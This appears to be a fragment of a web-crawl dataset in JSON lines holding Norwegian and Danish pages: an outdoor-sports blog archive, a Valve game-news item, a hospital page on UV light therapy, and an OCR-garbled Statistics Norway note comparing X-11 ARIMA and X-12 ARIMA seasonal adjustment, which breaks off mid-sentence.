12.000 kundene til kraftselskapet.\n\n(dn.no/NRK)\n\n  Publisert  10.12.2002, kl. 15.34 \n\n### Str\u00f8m\n\n", "language": "no", "__index_level_0__": "b8e9c8e0-c93f-4858-918c-f29e8e8559dd"}
{"url": "https://tommymultisport.wordpress.com/2013/08/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:12:31Z", "text": "# Monthly Archives: august 2013\n\naugust 28, 2013 \u00b7 20:04\n\n## Dr\u00f8mmeturen\n\nFriluftslivet kan starte i sofaen, man trenger inspirasjon og ideer, og de virkelige fine turene m\u00e5 tross alt planlegges. Til h\u00f8sten begynner dr\u00f8mmeturen p\u00e5 NRK, noe jeg ser frem til. Med to ekstreme personer men ogs\u00e5 to som har et veldig fint forhold til det n\u00e6re og enkle friluftslivet, s\u00e5 m\u00e5 det bare bli bra. Cecilie Skog og Alexander Gamme er to sjarmerende og herlige mennesker og skal utfordre og vise deltagere og tv seere det fantastiske friluftslivet. Les mer om Alexander sine dr\u00f8mmeturer p\u00e5\u00a0http://ut.no/artikkel/1.11122911\u00a0og ingen tvil, her er vi meget enige\\! Her er mer om dr\u00f8mmeturen og programlederne:\u00a0http://ut.no/artikkel/1.11244109\n\nEt annet fantastisk TV program er av fjelldronningen Ingvill Aasheim, som er den yngste som har klatret de 7 s\u00e6regne toppene i Romsdalen. Bli inspirert\\!\u00a0http://tv.nrk.no/serie/ut-i-naturen/dkmr30001011/14-02-2012\n\n\n\n## Kom igang med\u00a0padling\n\nKajakk gir ofte helt spesielle naturopplevelser som b\u00f8lger p\u00e5 havet, eller gli utover vakre fjellvann. Du ligger p\u00e5 vannet og f\u00e5r en helt annen n\u00e6rhet til elementene enn n\u00e5r du sitter i en b\u00e5t.\n\nTagged as beste kajakk, havkajakk, kajak test, kajakk tips, kj\u00f8p av kajakk, kom i gang med padling, padle lofoten, padle sikkert, padletips, sikkerhet i kajakk  \n\naugust 12, 2013 \u00b7 22:11\n\n## Sommerens roadtrip i bilder. Bil, b\u00e5t, sykkel og\u00a0ski\n\nStryn, Veko og Voss, Fj\u00f8r\u00e5, Sunnm\u00f8re, Tr.lag, Tr\u00e6na, Vinjerock og Jotunheimen, Oslo, Hardangervidda og Svensk vestkyst. Mye gjort, enn\u00e5 mer ugjort. Jeg satser p\u00e5 en deilig Hemsedalsh\u00f8st\\!\n\nMitt kamera ble \u00f8delagt tidl i ferien s\u00e5 det meste er mobilbilder fra meg.\n\n  -   \n    M\u00e5b\u00f8dalen, bratt\\!\n\n\n\n  -   \n    Foto: Iver Raknes Finne, Ekstremsportveko\n\n  \n    Foto Ola Furseth\n\naugust 8, 2013 \u00b7 18:46\n\n## Sykkeleventyr, M\u00e5b\u00f8dalen og\u00a0Rallarvegen\n\n2 vakre turer rundt Hardangevidda der den ene er for alle, den andre for helt spesielt interesserte\\! For meg er sykkel opplevelse, der jeg f\u00f8r gikk eller l\u00f8p sykler jeg. Med p\u00e5 kj\u00f8pet f\u00e5r du helt spesielle opplevelser, som disse dagene.\n\nM\u00e5b\u00f8dalen er dalen V\u00f8ringsfossen kommer ned, kanskje en av Norges vakreste og mest tilgjengelige st\u00f8rre fosser med sine 183 h\u00f8ydemetere. Her hadde Kari Anne en idee om at foran i dalen kunne man sykle ned. \u00a0Selve stien var lett \u00e5 finne, og for en herlig flyt starten var men etterhvert tok flyten slutt, noe som vi hadde forventet. F\u00f8rste del av kl\u00f8vstien er helt ok, og kan sykles for de med gode ferdigheter. Resten er det litt sykling her og der. Er man forberedt p\u00e5 dette s\u00e5 har man en fantastisk kul opplevelse, der man sykler Norge p\u00e5 sitt bratteste og vakreste.\n\nEt bad under selve V\u00f8ringsfossen h\u00f8rer med etterp\u00e5. Du kommer deg 4-5 meter fra fossen og her er det action\\! Vi pr\u00f8vde ogs\u00e5 \u00e5 sykle inn hit men ente \u00e5 b\u00e6re sykkel hele veien inn, og i tillegg p\u00e5 feil sti. Ta stien ned, som starter mitt i dalen er et godt energisparende tips med eller uten sykkel p\u00e5 skuldra\\!\n\nOppsummert s\u00e5 vil det overaske meg om noen andre har pr\u00f8vd \u00e5 sykle ned her f\u00f8r oss, men du verden for en fantastisk bra opplevelse.\n\nDagene f\u00f8r tok jeg meg et stykke inn p\u00e5 Rallarvegen, og fant meg en sti opp til plat\u00e5et for \u00e5 fiske. En utrolig herlig opplevelse som \u00a0ogs\u00e5 er en idee jeg mener flere burde teste ut. Pakk telt, fiskestang og sett av et par dager for \u00e5 fullf\u00f8re hele vegen\\!\u00a0Stiene her er noks\u00e5 snille, men en del stein selvsagt, og selve Rallarvegen er s\u00e5 unik som jeg trodde selv om jeg ikke tok hele\n\nDette er noe man absolutt m\u00e5 gj\u00f8re uansett form og type sykkel. Ta tiden til hjelp, og ta sykkelen du har bare den er i god stand. Her s\u00e5 jeg alt fra sykler med kurv til heftige sti og grus sykler.\n\nNeste prosjekt for meg er Aurlandsdalen med sykkel, ogs\u00e5 etter tips fra Kari Anne. heng med\\!\n\nMobilbilder fra meg eller Kari Anne K Tragethon\n\n\n\n\n\n  -   \n    Kari Anne \u00abinne\u00bb i fossen\n\n  \n", "language": "no", "__index_level_0__": "e8ceb92a-1f96-4ccc-8a53-3e891b21226a"}
{"url": "https://www.gamereactor.dk/nyheder/580883/Valve+vil+begynde+at+udvikle+og+udgive+spil+igen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:49:47Z", "text": "# Valve vil begynde at udvikle og udgive spil igen\n\n  - Publiceret den 12 mar 2018 kl. 09\n\n  \n\n\nFor ikke synderligt mange \u00e5r siden var Valve blandt de mest respekterede spiludviklere i branchen, med spil som Half-Life 2, Left 4 Dead og Portal, men langsomt skiftede deres fokus til tjenesten Steam, og sidenhen Steam Machines og til sidst HTC Vive. Nu vender de dog tilbage. Ja, Valve vil begynde at udvikle flere spil.\n\nFor nylig l\u00f8ftede Valve lidt af sl\u00f8ret af deres kommende kortspil, Artifact, og i den forbindelse kunne Valve-chefen Gabe Newell afsl\u00f8re, at dette bare er det f\u00f8rste mange af flere nye projekter. Han har sagt f\u00f8lgende til PCGamer:\n\n*\"Artifact is the first of several games that are going to be coming from us. So that's sort of good news. Hooray\\! Valve's going to start shipping games again.\"*\n\nIkke bare det, Newell har ogs\u00e5 talt om at benytte Nintendos strategi, og udgive st\u00e6rk hardware som kan benyttes til at opleve eksklusiv software.\n\n*\"We aren't going to be talking about it today, but sort of the big thing, the new arrow we have in our quiver, really, is our ability to develop hardware and software simultaneously. When Miyamoto is sitting down and thinking about the next version of Zelda or Mario, he's thinking what is the controller going to look like, what sort of graphics and other capabilities. He can introduce new capabilities like motion input because he controls both of those things.And he can make the hardware look as good as possible because he's designing the software at the same time that's really going to take advantage of it. So that is something we've been jealous of, and that's something that you'll see us taking advantage of subsequently.\"*\n\n\n\n## 8 Kommentarer\n\n**brianmini** den 12 marts 2018 kl. 11:15.  \n\nHusk at hold den gode tone - vi skal alle sammen v\u00e6re her (: - Tilf\u00f8j mig p\u00e5 PlayStation; joeyvind\n\n**Sidstebossen** den 13 marts 2018 kl. 19:04.  \n\nDe k\u00f8rer vel ogs\u00e5 stadig p\u00e5 Valve-tid, s\u00e5 mon ikke vi lige skal slappe lidt af inden det tager overh\u00e5nd\n\n\u00a0\n", "language": "no", "__index_level_0__": "584b1a54-3221-4b56-a0e2-83135b275dd8"}
{"url": "https://finnmarkssykehuset.no/behandlinger/lysbehandling-generell-informasjon-kirkenes", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:53:16Z", "text": "# Lysbehandling - generell informasjon | Kirkenes\n## \n\nMedisinsk poliklinikk, Kirkenes\n\nIngress\n\nMedisinsk lysbehandling brukes ved en rekke hudlidelser. Det er lidelsens art og alvorlighet som avgj\u00f8r hvilken type ultraviolett (UV) lys som gis.\u00a0 Behandlingen virker betennelsesdempende, gir fortykkelse av overhuden og \u00f8kt pigmentering.\n\n### Innledning\n\n\nHovedtypene av ultrafiolett lys er UVA (langb\u00f8lget) og UVB (kortb\u00f8lget).  \nUVB deles inn i to undergrupper, smalspektret (TL01) og bredspektret. Man kan gi \u00e9n type lys eller en kombinasjon.\n\nDosene er avhengige av hudtypen og hvilken hudlidelse\u00a0som skal behandles.\n\n### Henvisning og vurdering\n\nHenvisning og vurdering\n\nAlle typer lysbehandling forordnes av hudlege.\n\n## fastlege eller annen helsetjeneste henviser til utredning\n\nHenvisningsrutiner\n\n## 1\\. F\u00f8r\n\nForberedelse\n\nI forbindelse med oppstart av behandlingen\u00a0m\u00e5 du oppgi om du bruker medisiner, ogs\u00e5 naturmedisiner, da enkelte medisiner kan gi \u00f8kt f\u00f8lsomhet for lys slik at forbrenning lettere oppst\u00e5r. Dette gjelder ogs\u00e5 enkelte kremer/salver.\u00a0\n\nDu m\u00e5 ogs\u00e5 underrette personalet dersom\u00a0du starter med nye medikamenter i behandlingsperioden. Dette gjelder ogs\u00e5 naturmedisiner.\u00a0\n\n### B\u00f8r\u00a0du sm\u00f8re deg f\u00f8r behandlingen?\n\nGenerelt b\u00f8r\u00a0du vente med \u00e5 p\u00e5f\u00f8re medisinske salver som lokale steroider og D-vitaminkremer\u00a0til etter behandlingen, eventuelt minst 2 timer f\u00f8r behandling.\n\nOmr\u00e5der som ikke trenger behandling (f. eks. ansikt) b\u00f8r dekkes til.  \n\n## 2\\. Under\n\nGjennomf\u00f8ring, del 1\n\nDersom\u00a0du skal behandle hele kroppen st\u00e5r\u00a0du inni et lyskabinett.\n\nVed plager/utslett i underliv, hodebunn eller p\u00e5 hender/f\u00f8tter har man ogs\u00e5 spesielle lyskilder til \u00e5 bruke p\u00e5 disse omr\u00e5dene (sitte-, kam-, h\u00e5nd- og fotsol).\n\nBehandlingen gis vanligvis tre til fem ganger i uken.\n\nVed TL01 behandling kan man hos en del redusere hyppigheten til to ganger i uken.\u00a0Denne behandlingen skal aldri gis to dager etter hverandre slik man kan med UVA og bredspektret UVB.  \n\nBestr\u00e5lingen tar fra sekunder til flere minutter.\u00a0\n\nApparatet avgir en bestemt dose per behandling.\u00a0Dose\u00f8kning vurderes\u00a0individuelt.\n\nAntall behandlinger varierer, men vil oftest ligge i omr\u00e5det 15-30.\n\nVed enkelte tilstander er det snakk om behandling\u00a0i lang tid\u00a0med lav str\u00e5ledose.\n\nGjennomf\u00f8ring, del 2\n\n## 3\\. Etter\n\nOppf\u00f8lging\n\nFor \u00e5 unng\u00e5 t\u00f8rr og kl\u00f8ende hud b\u00f8r\u00a0du bruke fuktighetskrem etter behandlingene.\u00a0\n\nP\u00e5 behandlingsdagene b\u00f8r\u00a0du unng\u00e5 soling ute.\n\n### V\u00e6r oppmerksom\n\nRisikoforhold og komplikasjoner\n\n### Mulige bivirkninger:\n\nForbrenning kan forekomme.\u00a0\n\nP\u00e5 behandlingsdagene b\u00f8r\u00a0du unng\u00e5 soling ute.\u00a0\n\nUV-lys kan gi hudkreft, men for bredspektret UVB er risikoen liten ved kontrollert behandling i begrensede perioder. Risikoen\u00a0vurderes alltid\u00a0i forhold til den gode effekten\u00a0behandlingen har.\n\nTL01 er en relativt ny behandling, og det er mulig at denne gir en noe h\u00f8yere risiko for kreftutvikling enn UVB.\n\nVed hyppig behandling kan\u00a0du f\u00e5 raskere aldring av huden.\n\nUVA-behandling kan gi plagsom varmeutvikling i kabinettet, og dette kan irritere huden og gi \u00f8kt kl\u00f8e hos enkelte eksempasienter.\n\nDet er ikke avklart i hvilken grad UVA kan bidra til kreftutvikling i huden.\n\n# Parkering\n\n\u200bDet er gratis parkering for pasienter og bes\u00f8kende rett utenfor hovedinngangen til sykehuset.\n\n# Pasientreiser\n\n\u200bHovedregelen er at du f\u00e5r dekket reise til og fra behandling med billigste ruteg\u00e5ende transport.\n\n# Apotek\n\n\u200bDet finnes to apotek i Kirkenes sentrum, og ett i Kirkenes Handelspark.\n\n# Kiosk / kaf\u00e9 / venterom\n\nDet er kiosk i hovedvestibylen\u00a0p\u00e5 sykehuset. Her f\u00e5r du kj\u00f8pt lunsjmat og vanlige kioskvarer, og det finnes kaf\u00e9bord og stoler der du kan sitte og spise, drikke en kopp kaffe eller lese aviser.\n\n# Oversiktskart\n\n\u00a0\n\n# Resepsjon\n\n\u200bDet er resepsjon rett innenfor hovedinngangen.\n\n# R\u00f8yking forbudt\n\n\u200bDet finnes en r\u00f8ykebu til h\u00f8yre ut fra hovedinngangen til sykehuset.\n\nElllers er det r\u00f8yking forbudt p\u00e5 hele omr\u00e5det, ute og inne.\n\n# Tr\u00e5dl\u00f8st nettverk\n\nDu kan koble deg p\u00e5 tr\u00e5dl\u00f8st nettverk p\u00e5 alle Finnmarkssykehusets behandlingssteder.  \n", "language": "no", "__index_level_0__": "9985a0e7-84b6-4178-b2b1-1c1c5203df68"}
{"url": "http://docplayer.me/3189030-Dinh-quang-pham-sesongjustering-av-tidsserier-en-sammenligning-mellom-98-20-notater-i-1998.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-25T00:29:17Z", "text": "4 Kapittel Innledning X-11 ARIMA og de tidlige versjonene er basert p\u00e5 glidende gjennomsnitt teknikken, som ble utviklet av Frederick R. Macaulay i the National Bureau of Economic Reseach. W. M. Pearsons var den f\u00f8rste som la et grunnlag for sesongjustering ved \u00e5 dele en tidsserie i en trend (Te ), sesongvariasjon (St), og irregul\u00e6r komponent (h). - Trendkomponenten beskriver en langsiktig utvikling av tidsserien. - Sesongkomponenten beskriver en periodisk variasjon som gjentar seg fra \u00e5r til \u00e5r. - Irregul\u00e6r komponenten beskriver den tilfeldige variasjonen som ikke kan forklares. Ofte skrives en observert tidsserie (Ot) p\u00e5 f\u00f8lgende form ot = st x Tt x I multiplikativ modell (1.1) ut = st Tt additiv modell De to formene kan modifiseres ved \u00e5 legge til effektene av ukedager og p\u00e5ske. Ukedags effektene skyldes variasjoner av ulike antall arbeidsdager i kalenderm\u00e5nedene. De p\u00e5virker de fleste seriene som beskriver produksjon eller varehandel. En enkel model for ukedags effekter ble utviklet av Young (1965) og brukes fremdeles i dag i X-11. Den er basert p\u00e5 en regresjonsmodell der en antar at de estimerte effektene er konstant for hele serien. Dette er ikke tilfredstillende for mange serier der effektene kan variere med tiden. Dagum, Queneville og Sutradhar (1992) har laget en stokastisk modell for ukedagseffekter og anvendt Kalman filter for \u00e5 estimere dem. En annen svakhet ved X-11 ARIMA er at programmet krever at tidsserien enten skrives som en multiplikativ eller additiv modell. I praksis er det mange serier som tilpasses bedre med en blanding av de to formene eller en mer komplisert ikke-line\u00e6r modell. Ofte vil man bruke en multiplikativ modell n\u00e5r st\u00f8rrelsen og m\u00f8nsteret av sesongkomponenten varierer over tid. Fra 1954 innf\u00f8rte Julius Shiskin i Bureau of the Census det f\u00f8rste programmet i Univac I datamaskinen og betegnet det med Method I. Method II kom et \u00e5r seinere. De neste versjonene X-3 (1960) og den seinere X-11 (1965) ble tilgjengelige for kommersiell bruk. De var forbedret ved \u00e5 legge inn i programmet mange opsjoner som brukeren kan velge for \u00e5 tilpasse sine data. For eksempel, korrigering for effekten av ukedager og p\u00e5ske. 3\n\n\n\n5 Det er ogs\u00e5 mulighet for \u00e5 estimere sesongkomponenten med et bestemt filter. Mange statistiske tester og m\u00e01 for kvalitet er beskrevet \u00ec programmet. Det finnes ogs\u00e5 mange opsjoner som brukeren kan velge for \u00e5 tilpasse sine data, istedet for default verdier som er brukt i estimeringprosessen. Vi bor ikke misbruke default verdier siden det kan fore til mekanisk godkjenning av resultatet. \u00c5 studere historien for en serie for sesongjustering, er dermed helt n\u00f8dvendig sammen med \u00e5 ha kunnskap om tidsserieanalyse. I X-11 og de tidligere versjonene har man brukt asymmetriske vekter for endepunktene slik at den siste observasjonen OT f\u00e5r st\u00f8rst vekt. Dette skaper store revisjoner n\u00e5r nye observasjoner tilf\u00f8yes. For \u00e5 unng\u00e5 problemet kan man forlenge serien ved \u00e5 gjenta den siste observasjonen et bestemt antall ganger k. Vi f\u00e5r en ny serie som forlenges med 0T+1) som har samme verdi som OT. OT er n\u00e5 ikke lenger en siste observasjon og den kan beregnes med symmetriske vekter forutsatt at k er stor nok. En ulempe med denne m\u00e5ten er at man kan f\u00e5 et falskt bilde av trenden i de siste punktene. Statistics Canada har anvendt ARIMA modellen for \u00e5 forlenge serien. Med en tilpasset modell for data i serien kan man estimere framskrivinger med et monster slik som de observerte data viser. Metoden er utviklet av E.B. Dagum (1975, 1980). Denne versjonen av X-11 har f\u00e5tt et nytt navn og kalles X-11 ARIMA. Parametriske metoder har ogs\u00e5 v\u00e6rt brukt for \u00e5 isolere sesongvariasjon fra observerte data, men det gav ikke bedre resultater enn X-11 metoden. For eksempel, spektralanalyse med H. Rosenblatt (1963) og en generell line\u00e6r statistisk modell med Stephenson, J., A. og Farr H.T. I 1995 har US Bureau of the Census presentert X-12 ARIMA. Det er en ny versjon for sesongjustering men prinsippet er basert p\u00e5 X-11 og X-11 ARIMA, med mange nye prosedyrer og diagnostiske rutiner som kan hjelpe brukeren til lettere \u00e5 oppdage og behandle problemer i sesongdekomponeringen. I SSB har vi brukt X-11 og deretter X-11 ARIMA i mange \u00e5r, p\u00e5 mange tidsserier i flere seksjoner, \u00f8konomiske indikatorer (240), arbeidsmarked (260), utenrikshandel, energi og industristatistikk (230), for sesongjustering. V\u00e5r erfaring viser at X-11 AMNIA. er en god metode. Selv om X-12 ARIMA ble representert for flere \u00e5r siden, er det ingen land som har erstattet X-11 eller X-11 ARIMA med X-12 ARIMA for sesongjustering. I USA har X-12 ARIMA blitt brukt bare for tidsserier i utenrikshandelen. Eurostat har ogs\u00e5 (per november 1997) tatt i bruk X-12 ARIMA for serier for utenrikshandel., I dette notatet vil vi gi en sammenligning mellom X-11 ARIM.A og X-12 ARIMA. og bruker tre serier som eksempler: F\u00f8rstegangs registrerte personbiler, import av varer og eksport av varer utenom skip, plattformer, r\u00e5olje og naturgass. Det er problemer med \u00e5 bruke X-11 ARIMA for sesongjustering fra \u00e5r 2000 og seinere siden programmet kun leser inn de to siste siffrene i \u00e5rstallet. Vi kjenner ikke til om Statistics Canada skal komme med en ny versjon av X-11 ARIMA som kan lose dette problemet. X-12 ARIMA er ett nytt program for sesongjustering som loser problemet med \u00e5r De unders\u00f8kelsene vi har gjennomf\u00f8rt og som er dokumentert i dette notatet viser at X-12 ARIMA gir bedre resultater enn X-11 ARIMA. Vi mener derfor at X-12 ARIMA b\u00f8r erstatte X-11 ARIMA i alle sesongjustering av tidsseriene i SSB. 4\n\n\n\n6 Kapittel 2 En sammenligning mellom X-11 ARIMA og X-12 ARIMA X-11 ARIMA er vel kjent for folk som arbeider med sesongjustering, mens X-12 ARIMA er helt nytt og har ikke v\u00e6rt brukt i Statistisk sentralbyr\u00e5. Sammenligningen er basert p\u00e5 X-11 ARIMA (1988) og en beta-versjon 1.0 av X-12 ARIMA. I alle punktene som m\u00e5 vurderes, er metoden hovedpoenget for sammenligningen. Vi vil sammenligne de to programmene p\u00e5 f\u00f8lgende punkter: metode, manual og programmering. 2.1 Metode X-11 ARIMA Sesongjusterte serier brukes for det meste av politikere og analytikere som vil se utviklingen av trend i en \u00f8konomisk tidsserie uten \u00e5 bli forstyrret av sesongvariasjoner. Den forste versjonen av sesongjusteringsprogrammet var basert p\u00e5 Bureau of Census metoden I (1954) og II (1955). Det er et sju-trinns program og utviklet av Macaulay (1931). Versjonen ble forbedret etter hvert og fikk nytt navn X-2, X-3,... Versjonen X-11 har v\u00e6rt brukt siden 1965 og ble utviklet av Shiskin, Young og Musgrave i US Bureau of Census. En ulempe ved X-11 er at observasjonene i samme serien er beregnet med to forskjellige typer av filtre. Det symmetriske filteret brukes for observasjonene i midten av serien, og det asymmetriske filteret brukes for endepunktene. Statistics Canada (Dagum 1975, 1978.c) har forbedret svakhetene av X-11 i de folgende punktene: Modellering av originale data med en Box og Jenkins ARIMA modell. \u00c5 forlenge originale data ett \u00e5r for hver side (som vi kaller \"backcasting\" og \"forcasting\") ved hjelp av en god tilpasning av en ARIMA modell istedenfor \u00e5 gjenta den f\u00f8rste og siste observasjonen 12 ganger for m\u00e5nedstall og 4 ganger for kvartalstall. Innf\u00f8ring av et nytt filter. Det er det sentrerte 24 m\u00e5neders glidende gjennomsnittet. Det nye filteret gir bedre resultater enn det sentrerte 12 m\u00e5neders glidende gjennomsnitt filteret i X-11 for seriene som er sterkt p\u00e5virket av kort syklus eller har br\u00e5 endringer i trenden.\n\n\n\n7 Den nye versjonen fikk navnet X-11 ARIM.A. Modellen for sesongjusteringen i X41 eller X-11 ARIMA er Yt = Tt x St x It (multiplikativ modell) Yt = Tt St 4- It (additiv modell) 1og(17t) = log(tt) -+ log(st) log(it ) (log additiv modell) hvor Yt er ujustert serie, Tt er trend, St er en sesongkomponent og h er en irregul\u00e6rkomponent. De tre komponentene er estimert i 13 trinn med forskjellige typer av Hendersons glidende gjennomsnitt. Hele prosessen blir kj\u00f8rt to ganger. Metoden som brukes i SSB n\u00e5 er X-11 ARIMA/88. Sammenlignet med de tidligere versjonene av X-11 og X-11 ARIMA/80, er X-11 ARIM.A/88 forbedret n\u00e5r det gjelder - Framskrivinger - Sesongjustering Beskrivelse Framskriving. Det er noen endringer i beregningene for framskrivinger, a. Nye ARIMA modeller. En generell form av en ARIMA(p,d,q)(P,D,Q)s modell er 0(B)(1)(Bs)(1 B) 1 ( 1 Bs ) DYt = 0(B)6(B s )Et (2.1) hvor B er lagoperatoren definert ved By = yt\\_i og s angir antall observasjoner per \u00e5r. 0(B) = OpBP, \"nonseasonal autoregressive AR operator\". (1)(B) = 1 1 Bs cdpb's, \"seasonal autoregressive AR operator\". O(B) =1 0 1B eqbq, \"nonseasonal moving average MA operator\". 0(13 8) = 1 e lbs e e OQBQs, \"seasonal moving average MA operator\". (1 B)d er \"nonseasonal differencing of order d\" (1 Bs)D er \"seasonal differencing of order D\". Det er i alt 5 ARIMA modeller som er innebygd i programmet. De st\u00e5r i en hierarkisk rekkef\u00f8lge. 1. (0, 1, 1)(0 1, 1)s med eller uten transformasjon 2. (0,1,2)(0 1,1)s 3. (2,1,0)(0 1, 1)s 4. (0,2,2) (O 1, 1)s 5. (2, 1, 2)(0 1, 1)s bruk ikke transformasjon 6\n\n\n\n8 Den forste modellen proves f\u00f8rst. Hvis denne modellen blir forkastet, tester programmet den andre, osv. Dersom ingen av ARIMA modellene blir valgt, kan vi velge den beste blant de fem modellene, eller en kan velge en spesiell ARIMA-modell. Ellers er det ingen forskjeller mellom X-11 og X41 ARIMA. Tre kriterier for \u00e5 velge en ARIMA modell er (i) Gjennomsnittlig absolutt prognosefeil i prosent siste 3 \u00e5r er mindre eller lik 15% (tidligere er 12%.). (ii) Kji-kvadrat (x2) for testing av om residualene er ukorrelerte m\u00e5 v\u00e6re stone enn 5% (tidligere er 10%.). (Hi) Det er ingen tegn til \"overdifferencing\" (i.e ei \\> 0, 9 ellere \\> 0,9 )- ARIMA modeller er et viktig verkt\u00f8y i tidsserieanalysen. Dersom en ikke fir tilpasset en ARIMA modell for r\u00e5data kommer det av at flere av de tre kriteriene ovenfor ikke er oppfylt. Hvis (i) eller (ii) ikke er oppfylt er variasjonen i r\u00e5data uregelmessige. Hvis (iii) ikke er oppfylt er r\u00e5data en deterministisk funksjon av tiden. I X-11 er det symmetriske Hendersons filteret brukt for midten av serien, mens for punktene i endene brukes det asymmetriske filteret. En svakhet ved denne metoden er at det blir store variasjoner i trenden n\u00e5r nye observasjoner kommer til. En ekstremverdi i de siste punktene kan forandre retningen til trenden. For \u00e5 unng\u00e5 dette forlenger man serien til begge sider ved \u00e5 gjenta den forste og siste observasjonen et bestemt antall ganger. Da kan man bruke de symmetriske vektene for endepunktene i den originale serien. Denne metoden er ikke s\u00e5 god fordi en f\u00e5r et helt annerledes sesongmonster for de gjentatte verdiene. Den beste m\u00e5ten er \u00e5 bruke ARIMA modeller til \u00e5 forlenge serien. Da er framskrivinger beregnet og de kan f\u00e5 et sesongmonster som er lik sesongmonsteret fra r\u00e5data ved en god ARIMA modell. b. Framskrivinger. Default opsjonen er ett \u00e5r, men programmet kan beregne framskrivinger for opptil tre \u00e5r. Ofte forlenger man serien bare ett \u00e5r framover. C. Tilbakeskrivinger. Tilbakeskrivinger beregnes for serie som er kortere enn 7 \u00e5r. d. Autokorrelasjonen til residualer. Autokorrelasjonen til residualene av ARIMA modellen blir skrevet ut. e. Estimatorene kan angis p\u00e5 forh\u00e5nd. I beregningen for framskrivinger kan brukeren angi \u00f8nskede verdier til parametre for programmet. Programmet skal bruke disse verdiene for hele prosedyren. f. Ukedagseffekter og p\u00e5skeeffekter. De to effektene er fjernet fra r\u00e5data for en bruket en ARIMA modell for framskrivingberegninger. Sesongjustering. De folgende punktene er nye i forhold til X-11. a. Estimering av p\u00e5skeeffekt. Originale data blir korrigert for p\u00e5skeeffekt for sesongdekomponering for \u00e5 ta hensyn til at p\u00e5skeperioden fra \u00e5r til \u00e5r beveger\n\n. (Hi) Det er ingen tegn til \\\"overdifferencing\\\" (i.e ei \\> 0, 9 ellere \\> 0,9 )- ARIMA modeller er et viktig verkt\u00f8y i tidsserieanalysen.\")\n\n9 seg mellom mars og april. Siden antall helligdager i Norge og Canada ikke er det samme, har Statistics Canada laget en ny korrigert prosedyre tilpasset norske forhold, men denne prosedyren fungerer ikke helt perfekt, s\u00e6rlig for detaljomsetningsvolumindeksen. En annen metode for p\u00e5skekorrigering, utviklet av seksjon 720, har weft brukt i SSB. I metoden bygger vi p\u00e5 en modell som er basert p\u00e5 antall virkedager og helligdager i mars i p\u00e5skeuka, uka for og etter p\u00e5ske. Programmet for denne metoden er implementert i en FAME rutine. b. Okt n\u00f8yaktighet for estimering av trend med Henderson filtre. Laniel (1985) har gitt en formel for \u00e5 beregne de n\u00f8yaktige vektene av Hendersons filter. C. Lengden for sesongfilter velges av programmet ved \u00e5 basere seg p\u00e5 det relative forholdet I/S. Forhold Filter I/S \\< 2,5 3 x 3 \"moving average\" 3,5 \\< IS \\< 5,5 3 x 5 \"moving average\" I/S \\> 6,5 3 x 9 \"moving average' d. Reskalere originale data. Den originale serien kan forst\u00f8rres eller forminskes for dekomponering ved opsjonen DIVPOWER n. For eksempel, DIVPO WER 6 betyr at originale data er dividert med 106. e. Summen av sesongjusterte tall i l\u00f8pet av \u00e5ret kan justeres slik at den er lik summen av original data i samme periode (opsjon TOTAL 1) X-12 ARIMA. Dette er en ny versjon for sesongjustering etter X41 ARIMA. Metoden er basert p\u00e5 X41 og X41 ARIMA, men er forbedret og utvidet med a. regarima modell. b. Sliding spans diagnotiske prosedyrer. C. Revisjoner av sesongjusterte d. St\u00f8rre muligheter for \u00e5 velge Hendersons filter. e. Nye opsjoner for sesongfilter. f. pseudo-additiv modell. Beskrivelse a. regarima modell. I modellen antar en at feilleddet fra en regresjonsmodell f\u00f8lger en ARIMA modell. La Yt v\u00e6re en observerte tidsserie. Antar at Yt skrives ved en regresjonsmodell 8\n\n\n\n10 Irt AXit zt (2.2) hvor for hver i, A er regresjonsparametre som skal estimeres, Xit regresjonsvariable som er observert i tidspunkt t. Fra ligning (2.2) har vi zt Yt Ei,3ixit. zt er residualene og antas ukorrelerte i regresjonsanalysen. Faktisk er zt ofte korrelerte for de fleste tidsserier. Derfor kan det fore til ugyldige resultater n\u00e5r vi bruker z t under antagelse at zt er ukorrelerte. Vi antar n\u00e5 at zt, t 1, -, N skrives som en generell multiplikativ sesong \\_ARIMA modell (2.1). If\u00f8lge (2.1) og (2.2) har vi dermed 0( 13 ) (1)(B s )( 1 B) d ( 1 B s ) D (Yt = 0(B)e(B s )et (2.3) hvor Et ^, iid(o, 0-2) og Et er ukorrelerte med tid. Ligningen (2.3) er en regarima modell for Y. I X-12 ARIMA brukes regarima modellen for \u00e5 estimere: Sesongeffekter. Dette kan en kalle deterministiske sesongeffekter. 12 regresjonsvariable i modellen (2.2) er definert slik Mi,t = for m\u00e5ned i 0 ellers P\u00e5 grunn av kollinearitet (i.e det er korrelasjoner mellom de uavhengige variablene) vil en bruke i modellen bare 11 isteden for 12 indikatorvariable. Mi,t er omdefinert slik 1 for januar M1,t = { 1 for desember 0 ellers 1 for november -.- og M11,t = { 1 for desember 0 ellers Sesongeffekter pd sinus og cosinus form. 6 regresjonsvariable er \\[cos ( 24 ) sin( 27r igt.\\\\ )\\] for j 1, -, 6. Ukedagseffekter. Ukedagseffekter forekommer p\u00e5 grunn av (i) Antall ukedager varierer fra m\u00e5ned til m\u00e5ned. For eksempel, (se tabellene nedenfor) er det 4 mandager, tirsdager, onsdager og torsdager og 5 fredager, l\u00f8rdager og s\u00f8ndager i mars I juli 1996 er det derimot 5 mandager, tirsdager og onsdager og 4 torsdager, fredager, l\u00f8rdager og s\u00f8ndager. Antall ukedager er heller ikke det samme i alle \u00e5rene for samme kalenderm\u00e5ned. Se for eksempel juli 1995 og 1996.\n\n og (2.2) har vi dermed 0( 13 ) (1)(B s )( 1 B) d ( 1 B s ) D (Yt = 0(B)e(B s )et (2.3) hvor Et ^, iid(o, 0-2) og Et er ukorrelerte med tid. Ligningen (2.3) er en regarima modell for Y.\")\n\n Aktiviteten i ukedagene er ulik.\")\n\n12 It i (2.4) er resultatet etter \u00e5 ha fjernet trenden og sesongkomponenten fra de originale data. Det er noen problemer som oppst\u00e5r her. - It kan v\u00e6re korrelerte. - Dersom it er korrelerte, s\u00e5 